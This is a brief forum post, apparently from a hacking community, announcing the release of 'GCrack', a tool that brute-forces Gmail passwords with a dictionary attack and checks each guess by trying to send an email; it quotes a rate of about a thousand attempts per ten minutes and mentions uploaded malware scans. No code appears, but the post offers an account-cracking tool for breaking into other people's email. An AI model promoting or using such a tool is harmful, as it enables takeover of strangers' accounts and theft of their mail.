GCrack - Crack GMail passwords

Introduction
Hello again SL. I'm just releasing a program that bruteforces gmail accounts. It uses a dictionary attack, and it validates the account by attempting to send an email. I measured how fast it tries 1k passwords, and it's estimated to 1k attempts each 10 minutes. But it might vary depending on your bandwidth and/or hardware.

Since you don't feel like uploading a scan of the program, I'll run this through anubis and upload the results...

Or you could just have asked me.

Edit: Added scans in OP.
